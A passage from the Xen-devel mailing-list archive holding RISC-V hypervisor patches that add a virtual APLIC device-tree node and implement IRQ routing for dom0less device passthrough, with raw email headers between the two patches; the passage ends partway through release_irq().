 - Drop next_phandle as it is now in common code.
 - Drop const for kinfo argument of vimsic_make_domu_dt_node() is is
   going to be updated inside vimsic_make_domu_dt_node().
 - Use introduced before vintc->num_irqs.
---
---
 xen/arch/riscv/aplic-priv.h               | 14 +++++
 xen/arch/riscv/aplic.c                    |  2 +
 xen/arch/riscv/include/asm/aplic.h        |  8 +++
 xen/arch/riscv/include/asm/guest-layout.h |  6 ++
 xen/arch/riscv/vaplic.c                   | 77 +++++++++++++++++++++++
 5 files changed, 107 insertions(+)

diff --git a/xen/arch/riscv/aplic-priv.h b/xen/arch/riscv/aplic-priv.h
index 85e0d028d1ae..ac971f34add3 100644
--- a/xen/arch/riscv/aplic-priv.h
+++ b/xen/arch/riscv/aplic-priv.h
@@ -34,4 +34,18 @@ struct aplic_priv {
     const struct imsic_config *imsic_cfg;
 };
 
+/*
+ * Value is inspired by what QEMU is using for riscv,num-sources property for
+ * APLIC node.
+ */
+#define GUEST_APLIC_MAX_SOURCES 96
+
+/*
+ * Specifies the number of wired interrupt sources supported by guest APLIC
+ * domain.
+ * Could be limited by host interrupt controller and is identical for every
+ * domain.
+ */
+extern unsigned int guest_num_sources;
+
 #endif /* ASM_RISCV_APLIC_PRIV_H */
diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 126d56fb7ea8..5f8ae4d97b87 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -92,6 +92,8 @@ static int __init cf_check aplic_init(void)
         panic("%s: failed to get number of interrupt sources\n",
               node->full_name);
 
+    guest_num_sources = min(GUEST_APLIC_MAX_SOURCES + 0U, aplic_info.num_irqs);
+
     if ( aplic_info.num_irqs > ARRAY_SIZE(aplic.regs->sourcecfg) )
         aplic_info.num_irqs = ARRAY_SIZE(aplic.regs->sourcecfg);
 
diff --git a/xen/arch/riscv/include/asm/aplic.h b/xen/arch/riscv/include/asm/aplic.h
index 31264e2e683a..5a1ab85353e1 100644
--- a/xen/arch/riscv/include/asm/aplic.h
+++ b/xen/arch/riscv/include/asm/aplic.h
@@ -29,6 +29,14 @@
 
 #define APLIC_TARGET_HART_IDX_SHIFT 18
 
+#define APLIC_IDC_SIZE          32
+
+#define APLIC_MIN_SIZE          0x4000
+#define APLIC_SIZE_ALIGN(x)     ROUNDUP(x, APLIC_MIN_SIZE)
+
+#define APLIC_SIZE(nr_cpus)     (APLIC_MIN_SIZE + \
+                                 APLIC_SIZE_ALIGN(APLIC_IDC_SIZE * (nr_cpus)))
+
 struct aplic_regs {
     uint32_t domaincfg;         /* 0x0000 */
     uint32_t sourcecfg[1023];   /* 0x0004 */
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 5e566450bdfa..90603f06bb91 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -3,6 +3,12 @@
 
 #include <public/xen.h>
 
+/*
+ * Base address of the guest's supervisor-mode APLIC. The value is the address
+ * typically used for APLIC by QEMU.
+ */
+#define GUEST_APLIC_S_BASE _UL(0xd000000)
+
 /*
  * Base address of the guest's supervisor-mode IMSIC. The value is the address
  * typically used for IMSIC by QEMU.
diff --git a/xen/arch/riscv/vaplic.c b/xen/arch/riscv/vaplic.c
index 6562b25f0abb..719c439e48d9 100644
--- a/xen/arch/riscv/vaplic.c
+++ b/xen/arch/riscv/vaplic.c
@@ -9,6 +9,8 @@
  */
 
 #include <xen/errno.h>
+#include <xen/fdt-kernel.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/sched.h>
 #include <xen/xvmalloc.h>
 
@@ -19,6 +21,12 @@
 
 #include "aplic-priv.h"
 
+unsigned int __ro_after_init guest_num_sources;
+
+#define VAPLIC_COMPATIBLE "riscv,aplic"
+
+#define FDT_VAPLIC_INT_CELLS 2
+
 static int cf_check vaplic_init(struct vcpu *v)
 {
     return vcpu_imsic_init(v);
@@ -29,6 +37,74 @@ static void cf_check vaplic_deinit(struct vcpu *v)
     return vcpu_imsic_deinit(v);
 }
 
+static int __init cf_check vaplic_make_domu_dt_node(struct kernel_info *kinfo)
+{
+    struct domain *d = kinfo->bd.d;
+    int res;
+    void *fdt = kinfo->fdt;
+    unsigned int msi_parent_phandle;
+    char vaplic_name[32];
+    unsigned int aplic_size = APLIC_SIZE(d->max_vcpus);
+    const __be32 reg[] = {
+        cpu_to_be32(GUEST_APLIC_S_BASE >> 32),
+        cpu_to_be32(GUEST_APLIC_S_BASE),
+        cpu_to_be32(0),
+        cpu_to_be32(aplic_size),
+    };
+
+    BUILD_BUG_ON(APLIC_SIZE(MAX_VIRT_CPUS) > UINT_MAX);
+
+    res = snprintf(vaplic_name, sizeof(vaplic_name), "/soc/aplic@%lx",
+                   GUEST_APLIC_S_BASE);
+    if ( res >= sizeof(vaplic_name) )
+    {
+        dprintk(XENLOG_DEBUG, "vaplic name is truncated\n");
+        return -ENOBUFS;
+    }
+
+    res = vimsic_make_domu_dt_node(kinfo, &msi_parent_phandle);
+    if ( res )
+        return res;
+
+    res = fdt_begin_node(fdt, vaplic_name);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "#interrupt-cells", FDT_VAPLIC_INT_CELLS);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "reg", reg, sizeof(reg));
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "riscv,num-sources", guest_num_sources);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_string(fdt, "compatible", VAPLIC_COMPATIBLE);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "msi-parent", msi_parent_phandle);
+    if ( res )
+        return res;
+
+    res = fdt_property_cell(fdt, "phandle", kinfo->phandle_intc);
+    if ( res )
+        return res;
+
+    return fdt_end_node(fdt);
+}
+
+static const struct vintc_init_ops __initconstrel init_ops = {
+    .make_domu_dt_node = vaplic_make_domu_dt_node,
+};
+
 static const struct vintc_ops vintc_ops = {
     .vcpu_init = vaplic_init,
     .vcpu_deinit = vaplic_deinit,
@@ -43,6 +119,7 @@ int domain_vaplic_init(struct domain *d)
 
     d->arch.vintc = &vaplic->vintc;
     d->arch.vintc->ops = &vintc_ops;
+    d->arch.vintc->init_ops = &init_ops;
 
     vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
                              APLIC_DOMAINCFG_RO;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355542.1610438 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglih-0004Yn-31; Mon, 06 Jul 2026 15:58:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355542.1610438; Mon, 06 Jul 2026 15:58:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglig-0004Tv-2C; Mon, 06 Jul 2026 15:58:54 +0000
Received: by outflank-mailman (input) for mailman id 1355542;
 Mon, 06 Jul 2026 15:58:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliZ-00038y-QU
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliZ-00AcZM-2B
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:47 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd09e-5cb7-0a2a0a5109dd-0a2a4509a9ae-26
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:47 +0200
Received: from [209.85.221.47] (helo=mail-wr1-f47.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b6-97e6-0a2a45090019-d155dd2fc94c-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:47 +0200
Received: by mail-wr1-f47.google.com with SMTP id
 ffacd0b85a97d-4703bc0a99aso1762405f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:46 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.45
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353526; x=1783958326; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=qhDSRqZCa8FiBzhpxge5NcsdKHKmZpIkmXlsTE8qD7o=;
        b=nMXQ+opT4rriqH71Vu7lhQenbFWxJffsFH8qVLBn7+KFi7A1oPmzEzLzOcYURbCHbm
         fgLhPG5YgRNMtpgr1cURPug3GifN/MSCOwxvoZW30KNBJ4+DXUhv/Y4RX39vK/GbcENN
         nMrF1a8KJFUAqeZdzmhYvQfBHEA+rtfll+8t2MRmsJVy3z1MdmZFr8gLDvIyWQZfBtpv
         8CXRgXns1xyLOLmTgxe54zNzoyr9ur0UMFfUVC13KXAP2YgwV4hK1ABGQx0fGQwZTIMt
         PvmN6sR5b5/7hDkf1FlA5aA6stVAP246+r2tPIx1x2PY3h73qFj6kI7+LzSGQRhrDIlK
         br6A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353526; x=1783958326;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=qhDSRqZCa8FiBzhpxge5NcsdKHKmZpIkmXlsTE8qD7o=;
        b=hAJ5UuJV3OIn1KcRx0afXseYOyV56886NLDpKtw2azkbXQVaWG8EpuLq5+BVvaHwOG
         CABbsamzRzNuLJdqYYxiU8kXevhAKztGcL9lLEaiOnDSD1gyEiQqrww281C1olGsbkLD
         h2cLN3XqfOWLorSXUVdjIJVDBAD+14R4m/gKiopXrkVfUmk2yL9+Cm4WmW5HB5VOArdF
         hixFD2uBm0rV32etGnCWAUZBU0a89aZtAG5Qk6C2Qrkg/Z4244+udcQ5xr5wMussePOX
         CEXJkCGowrbqcwwStYESfYh+sqnQVfnOHFpKeu2XLpF0L0w1WETwaAGJkpQQPXi/Xaeq
         A2ug==
X-Gm-Message-State: AOJu0YwCM7mg5vZlnn0NxZmZT1B9JS5Aw9PyUA57pbBpTCDgIhOAR4UE
	Z5TFM9Lvef2Z0uVyuxD156p+v7hZuerpBU9hP84tDJdnARGZu1Y6LtjbwfhIZw==
X-Gm-Gg: AfdE7cmmlNd6Ge7zbOJbwuMsZwkx/z+d/sqaASK8FvDzv9NKExJJjsJcoYKYqHyqC9q
	DxqX0mL5gikXbwNQxI0F/zClbUhdhK88OKmkXm+4GAgKJhOqMzvHh+GjPpSXIIrqyjuHv9hFngM
	fHc2iAJ31F1l4lqrz7XRo6D0Dj8ZERY2i7QgYRZk8WlNnu9WnAS/HA53Pz8Y15iJj9Ib8Jv4Mzk
	dIJP+D1w+hKHb2JLfIWGaAnvWv6hrOn02I3AsIBynZwHKxqFyPqJYJffcJgHemuO+CCU63XFU2S
	3UWZ8Qu1gsYRmfmjaa0+uqQHpj0yzsD3QT5b7JgiEGsYUwLyJ4J2wKYwY0djBkz3m+IMfaJB0N1
	4gTfpcuc6ag94JMGIHnP2FEWx0ksKKmpENmRTR2pTzrc9RUWdHINVSPWePu5YjJPKB7/PIDsmP3
	aiaW+GI3gJFlbcncyno13RDPwNL4MRPdKwugOphxRbn04kXvtKoRO0qNg2kg==
X-Received: by 2002:a05:600c:5897:b0:492:4cce:53e2 with SMTP id 5b1f17b1804b1-493df0412f5mr11029555e9.3.1783353526179;
        Mon, 06 Jul 2026 08:58:46 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v5 21/26] xen/riscv: implement IRQ routing for device passthrough
Date: Mon,  6 Jul 2026 17:58:02 +0200
Message-ID: <c8611ea230ffaf44bec4b4232dfbb9832bb24619.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1783353527-46D3C986-51781026/10/73395122804
X-purgate-type: spam
X-purgate-size: 22158

dom0less device passthrough requires granting guest domains access to
device interrupts.  Introduce map_device_irqs_to_domain() to enumerate
a DT node's interrupt properties, skipping those not owned by
the primary interrupt controller (as at the moment I haven't seen usages
of it), and map_irq_to_domain() to grant domain access and configure
Xen's interrupt descriptor accordingly. Sharing IRQ between domains is
rejected.

Both map_irq_to_domain() and map_device_irqs_to_domain() are marked
__overlay_init, mirroring Arm: without CONFIG_OVERLAY_DTB this expands to
__init, so the functions are init-only and need no XSM check; with
CONFIG_OVERLAY_DTB they become runtime-callable, but the only runtime
entry point is dt_overlay_domctl(), which performs the XSM checks at the
domctl layer.  RISC-V does not wire up DT overlay yet, so today these are
strictly __init; if/when overlay support is added, the domctl-level XSM
gating must be added together with it, as on Arm.

route_irq_to_guest() and release_irq() manage irq_desc ownership for
guest-assigned interrupts.  Each assignment carries a small irq_guest
structure as irqaction::dev_id, recording the owning domain and virtual
IRQ number which is 1:1 mapped to physical IRQ number.  A per-domain
vIRQ allocation bitmap (used_irqs in struct vintc), managed by
vintc_reserve_virq(), prevents the same vIRQ being claimed twice.

Host and guest interrupts may differ in some operations (EOI timing in
particular, possibly others): a host IRQ is completed once Xen's handler
runs, whereas a passthrough IRQ must defer the physical completion until
the guest issues its own EOI, otherwise a still-asserted level line would
immediately retrigger and storm.  This affects only the .end callback;
the rest of hw_interrupt_type is shared, hence the separate host and
guest hw_interrupt_type instances.

With APLIC+IMSIC, guest interrupts are delivered directly by hardware
through the IMSIC, bypassing do_IRQ(). The _IRQ_GUEST branch in
do_IRQ() is therefore left as BUG() until a platform without direct
IMSIC delivery is encountered.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - add early -EINVAL return in route_irq_to_guest() if domain is dying
 - use __clear_bit() instead of clear_bit() in release_guest_irq()
   since desc->lock is already held
 - remove irq_get_domain() wrapper; inline irq_get_guest_info(desc)->d
    at its single call site
 - reword IRQ_GUEST comment in do_IRQ() for clarity
 - move XVFREE(used_irqs) before the switch so it is freed prior to
   variant-specific vintc teardown
 - fix missing space in dt_dprintk() format string split across lines
 - Drop 'inline' for irq_get_guest_info() and leave it only static.
 - Drop xfree(info) from release_guest_irq() to avoid a potential
   dangling-pointer issue with the ->dev_id field. Now that
   'struct irqaction action;' is embedded into 'struct irq_guest',
   'info' will be freed as part of release_irq() at the end.
---
Changes in v4:
 - Update the commit message.
 - Mark map_irq_to_domain() and map_device_irqs_to_domain() as
   __overlay_init (mirroring Arm) and include <xen/dt-overlay.h>.
 - Fix grammar in the controller-skip comment ("IRQ" -> "IRQs").
 - Drop the redundant 'base' local in guest_imsic_make_reg_property();
   use GUEST_IMSIC_S_BASE directly.
 - Rename vintc::irq_nums -> nr_virqs and update all users.
 - Guard domain_vintc_deinit() against a NULL d->arch.vintc.
 - Use smp_rmb() instead of smp_mb() in release_irq()'s wait loop and
   document how it pairs with the spin_unlock() in do_IRQ().
 - In release_guest_irq(), reject live unrouting from a non-dying domain
   (-EBUSY) and clear _IRQ_GUEST under desc->lock so a concurrent
   release for the same IRQ bails out instead of double-freeing 'info'.
 - Tidy spurious whitespace in release_irq()'s spin_lock/unlock calls.
---
Changes in v3:
 - Drop extraneous "to" from "Unable to permit to %pd" message.
 - Move res/irq/rirq to loop scope; use nirq as declaration initializer.
 - Hoist irq_ranges check before the loop (it is loop-invariant).
 - Remove spurious forward declarations (struct dt_device_node, struct
   rangeset) from intc.h; remove all three from setup.h.
 - Use __set_bit() instead of set_bit() in intc_route_irq_to_guest()
   since desc->lock is always held on every write path for desc->status.
 - Use XVFREE() instead of xvfree() in domain_vintc_deinit().
 - Rename allocated_irqs -> used_irqs in struct vintc.
 - Fix dangling desc->action in release_irq()'s !IRQ_HAS_MULTIPLE_ACTION
   path by nulling *action_ptr after saving the action pointer.
 - Use true (not 1) for free_on_release in route_irq_to_guest().
 - Use %pd for domain printing in route_irq_to_guest() error paths.
 - Introduce release_guest_irq() to pair with route_irq_to_guest() and
   plug the irq_guest info leak; call it from domain_vintc_deinit()
   for each vIRQ recorded in used_irqs.
---
Changes in v2:
 - Rework IRQ mapping in more common (similar approach to Arm).
---
---
 xen/arch/riscv/Makefile           |   1 +
 xen/arch/riscv/aplic.c            |   4 +
 xen/arch/riscv/device.c           |  94 ++++++++++++
 xen/arch/riscv/include/asm/intc.h |   9 ++
 xen/arch/riscv/include/asm/irq.h  |   5 +
 xen/arch/riscv/intc.c             |  45 ++++++
 xen/arch/riscv/irq.c              | 238 ++++++++++++++++++++++++++++++
 xen/arch/riscv/vaplic.c           |   2 +
 8 files changed, 398 insertions(+)
 create mode 100644 xen/arch/riscv/device.c

diff --git a/xen/arch/riscv/Makefile b/xen/arch/riscv/Makefile
index 9d8d21b65188..fc6b34661111 100644
--- a/xen/arch/riscv/Makefile
+++ b/xen/arch/riscv/Makefile
@@ -1,6 +1,7 @@
 obj-y += aia.o
 obj-y += aplic.o
 obj-y += cpufeature.o
+obj-y += device.o
 obj-y += domain.o
 obj-y += domain-build.init.o
 obj-$(CONFIG_DOM0LESS_BOOT) += dom0less-build.init.o
diff --git a/xen/arch/riscv/aplic.c b/xen/arch/riscv/aplic.c
index 5f8ae4d97b87..9b9a0929a89b 100644
--- a/xen/arch/riscv/aplic.c
+++ b/xen/arch/riscv/aplic.c
@@ -306,9 +306,13 @@ static const hw_irq_controller aplic_xen_irq_type = {
     .set_affinity = aplic_set_irq_affinity,
 };
 
+/* At the moment there is no difference between guest and Xen ops */
+#define aplic_guest_irq_type aplic_xen_irq_type
+
 static const struct intc_hw_operations aplic_ops = {
     .info                = &aplic_info,
     .host_irq_type       = &aplic_xen_irq_type,
+    .guest_irq_type      = &aplic_guest_irq_type,
     .handle_interrupt    = aplic_handle_interrupt,
     .set_irq_type        = aplic_set_irq_type,
 };
diff --git a/xen/arch/riscv/device.c b/xen/arch/riscv/device.c
new file mode 100644
index 000000000000..f54d0fdaa7ab
--- /dev/null
+++ b/xen/arch/riscv/device.c
@@ -0,0 +1,94 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/device_tree.h>
+#include <xen/dt-overlay.h>
+#include <xen/errno.h>
+#include <xen/iocap.h>
+#include <xen/rangeset.h>
+#include <xen/sched.h>
+
+#include <asm/intc.h>
+
+int __overlay_init map_irq_to_domain(struct domain *d, unsigned int irq,
+                                     bool need_mapping, const char *devname)
+{
+    int res;
+
+    res = irq_permit_access(d, irq);
+    if ( res )
+    {
+        printk(XENLOG_ERR "Unable to permit %pd access to IRQ %u\n", d, irq);
+        return res;
+    }
+
+    if ( need_mapping )
+    {
+        /*
+         * Checking the return of vintc_reserve_virq is not
+         * necessary. It should not fail except when we try to map
+         * the IRQ twice. This can legitimately happen if the IRQ is shared.
+         */
+        vintc_reserve_virq(d, irq);
+
+        res = route_irq_to_guest(d, irq, irq, devname);
+        if ( res < 0 )
+        {
+            printk(XENLOG_ERR "Unable to map IRQ%u to %pd\n", irq, d);
+            return res;
+        }
+    }
+
+    dt_dprintk("  - IRQ: %u\n", irq);
+
+    return 0;
+}
+
+int __overlay_init map_device_irqs_to_domain(struct domain *d,
+                                             struct dt_device_node *dev,
+                                             bool need_mapping,
+                                             struct rangeset *irq_ranges)
+{
+    unsigned int i, nirq = dt_number_of_irq(dev);
+
+    if ( irq_ranges )
+        return -EOPNOTSUPP;
+
+    /* Give permission and map IRQs */
+    for ( i = 0; i < nirq; i++ )
+    {
+        int res, irq;
+        struct dt_raw_irq rirq;
+
+        res = dt_device_get_raw_irq(dev, i, &rirq);
+        if ( res )
+        {
+            printk(XENLOG_ERR "Unable to retrieve irq %u for %s\n",
+                   i, dt_node_full_name(dev));
+            return res;
+        }
+
+        /*
+         * Don't map IRQs that have no physical meaning
+         * ie: IRQs whose controller is not APLIC/IMSIC/PLIC.
+         */
+        if ( rirq.controller != dt_interrupt_controller )
+        {
+            dt_dprintk("irq %u not connected to primary controller. Connected to %s\n",
+                       i, dt_node_full_name(rirq.controller));
+            continue;
+        }
+
+        irq = platform_get_irq(dev, i);
+        if ( irq < 0 )
+        {
+            printk("Unable to get irq %u for %s\n", i, dt_node_full_name(dev));
+            return irq;
+        }
+
+        res = map_irq_to_domain(d, irq, need_mapping, dt_node_name(dev));
+        if ( res )
+            return res;
+    }
+
+    return 0;
+}
diff --git a/xen/arch/riscv/include/asm/intc.h b/xen/arch/riscv/include/asm/intc.h
index dad4c5fab08b..2ee5d1533c8e 100644
--- a/xen/arch/riscv/include/asm/intc.h
+++ b/xen/arch/riscv/include/asm/intc.h
@@ -15,6 +15,7 @@ enum intc_variant {
 };
 
 struct cpu_user_regs;
+struct domain;
 struct irq_desc;
 struct kernel_info;
 struct vcpu;
@@ -34,6 +35,9 @@ struct intc_hw_operations {
     /* hw_irq_controller to enable/disable/eoi host irq */
     const struct hw_interrupt_type *host_irq_type;
 
+    /* hw_irq_controller to enable/disable/eoi guest irq */
+    const struct hw_interrupt_type *guest_irq_type;
+
     /* Set IRQ type */
     void (*set_irq_type)(struct irq_desc *desc, unsigned int type);
     /* Set IRQ priority */
@@ -63,6 +67,8 @@ struct vintc_ops {
 };
 
 struct vintc {
+    unsigned int nr_virqs;
+    unsigned long *used_irqs;
     /* Used during domain build only; dropped afterwards. */
     const struct vintc_init_ops *init_ops;
     /* Runtime callbacks used for the lifetime of the guest. */
@@ -76,10 +82,13 @@ void register_intc_ops(const struct intc_hw_init_ops *init_ops);
 void intc_init(void);
 
 void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority);
+int intc_route_irq_to_guest(struct irq_desc *desc, unsigned int priority);
 
 void intc_handle_external_irqs(struct cpu_user_regs *regs);
 
 int domain_vintc_init(struct domain *d);
 void domain_vintc_deinit(struct domain *d);
 
+bool vintc_reserve_virq(const struct domain *d, unsigned int virq);
+
 #endif /* ASM__RISCV__INTERRUPT_CONTOLLER_H */
diff --git a/xen/arch/riscv/include/asm/irq.h b/xen/arch/riscv/include/asm/irq.h
index f633636dc308..2b95f8226be2 100644
--- a/xen/arch/riscv/include/asm/irq.h
+++ b/xen/arch/riscv/include/asm/irq.h
@@ -49,6 +49,11 @@ void init_IRQ(void);
 
 void do_IRQ(struct cpu_user_regs *regs, unsigned int irq);
 
+int route_irq_to_guest(struct domain *d, unsigned int virq,
+                       unsigned int irq, const char *devname);
+
+int release_guest_irq(struct domain *d, unsigned int virq);
+
 #endif /* ASM__RISCV__IRQ_H */
 
 /*
diff --git a/xen/arch/riscv/intc.c b/xen/arch/riscv/intc.c
index f5c8af6ddea4..372c8d3a20f9 100644
--- a/xen/arch/riscv/intc.c
+++ b/xen/arch/riscv/intc.c
@@ -7,7 +7,9 @@
 #include <xen/init.h>
 #include <xen/irq.h>
 #include <xen/lib.h>
+#include <xen/sched.h>
 #include <xen/spinlock.h>
+#include <xen/xvmalloc.h>
 
 #include <asm/aia.h>
 #include <asm/intc.h>
@@ -78,6 +80,22 @@ void intc_route_irq_to_xen(struct irq_desc *desc, unsigned int priority)
     intc_set_irq_priority(desc, priority);
 }
 
+int intc_route_irq_to_guest(struct irq_desc *desc,
+                            unsigned int priority)
+{
+    ASSERT(spin_is_locked(&desc->lock));
+
+    ASSERT(intc_hw_ops->guest_irq_type);
+
+    desc->handler = intc_hw_ops->guest_irq_type;
+    __set_bit(_IRQ_GUEST, &desc->status);
+
+    intc_set_irq_type(desc, desc->arch.type);
+    intc_set_irq_priority(desc, priority);
+
+    return 0;
+}
+
 int __init make_intc_domU_node(struct kernel_info *kinfo)
 {
     const struct vintc *vintc = kinfo->bd.d->arch.vintc;
@@ -101,12 +119,31 @@ int domain_vintc_init(struct domain *d)
         break;
     }
 
+    if ( !ret )
+    {
+        d->arch.vintc->used_irqs =
+            xvzalloc_array(unsigned long,
+                           BITS_TO_LONGS(d->arch.vintc->nr_virqs));
+        if ( !d->arch.vintc->used_irqs )
+            ret = -ENOMEM;
+    }
+
     return ret;
 }
 
 void domain_vintc_deinit(struct domain *d)
 {
     const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+    unsigned int virq;
+
+    if ( !d->arch.vintc )
+        return;
+
+    for ( virq = 0; virq < d->arch.vintc->nr_virqs; virq++ )
+        if ( test_bit(virq, d->arch.vintc->used_irqs) )
+            release_guest_irq(d, virq);
+
+    XVFREE(d->arch.vintc->used_irqs);
 
     switch ( variant )
     {
@@ -118,3 +155,11 @@ void domain_vintc_deinit(struct domain *d)
         break;
     }
 }
+
+bool vintc_reserve_virq(const struct domain *d, unsigned int virq)
+{
+    if ( virq >= d->arch.vintc->nr_virqs )
+        return false;
+
+    return !test_and_set_bit(virq, d->arch.vintc->used_irqs);
+}
diff --git a/xen/arch/riscv/irq.c b/xen/arch/riscv/irq.c
index 25d329500212..ee75e0e88d85 100644
--- a/xen/arch/riscv/irq.c
+++ b/xen/arch/riscv/irq.c
@@ -12,11 +12,29 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/irq.h>
+#include <xen/sched.h>
 #include <xen/spinlock.h>
+#include <xen/xvmalloc.h>
 
 #include <asm/hardirq.h>
 #include <asm/intc.h>
 
+/*
+ * Describe an IRQ assigned to a guest.
+ *
+ * The irqaction is embedded here (rather than allocated separately with
+ * its dev_id pointing at a standalone struct irq_guest) so that freeing
+ * the action in release_irq() also frees this whole structure in one go.
+ * That avoids the alternative of release_irq()'s caller having to free
+ * dev_id itself (something like in Arm release_guest_irq()).
+ */
+struct irq_guest
+{
+    struct irqaction action;
+    struct domain *d;
+    unsigned int virq;
+};
+
 static irq_desc_t irq_desc[NR_IRQS];
 
 static bool irq_validate_new_type(unsigned int curr, unsigned int new)
@@ -192,6 +210,14 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
     if ( desc->handler->ack )
         desc->handler->ack(desc);
 
+    if ( desc->status & IRQ_GUEST )
+        /*
+         * With APLIC + IMSIC, guest interrupts bypass Xen and are delivered
+         * directly to the guest. Without IMSIC, interrupts would be trapped
+         * by Xen and would need injecting into the guest here.
+         */
+        panic("unimplemented");
+
     if ( desc->status & IRQ_DISABLED )
         goto out;
 
@@ -221,3 +247,215 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
     spin_unlock(&desc->lock);
     irq_exit();
 }
+
+static struct irq_guest *irq_get_guest_info(struct irq_desc *desc)
+{
+    ASSERT(spin_is_locked(&desc->lock));
+    ASSERT(test_bit(_IRQ_GUEST, &desc->status));
+    ASSERT(desc->action != NULL);
+
+    return desc->action->dev_id;
+}
+
+
+void release_irq(unsigned int irq, const void *dev_id)
+{
+    struct irq_desc *desc;
+    unsigned long flags;
+    struct irqaction *action, **action_ptr;
+
+    desc = irq_to_desc(irq);
+
+    spin_lock_irqsave(&desc->lock, flags);
+
+    action_ptr = &desc->action;
+#ifdef CONFIG_IRQ_HAS_MULTIPLE_ACTION
+    for ( ;; )
+    {
+        action = *action_ptr;
+        if ( !action )
+        {
+            printk(XENLOG_WARNING "Trying to free already-free IRQ %u\n", irq);
+            spin_unlock_irqrestore(&desc->lock, flags);
+            return;
+        }
+
+        if ( action->dev_id == dev_id )
+            break;
+
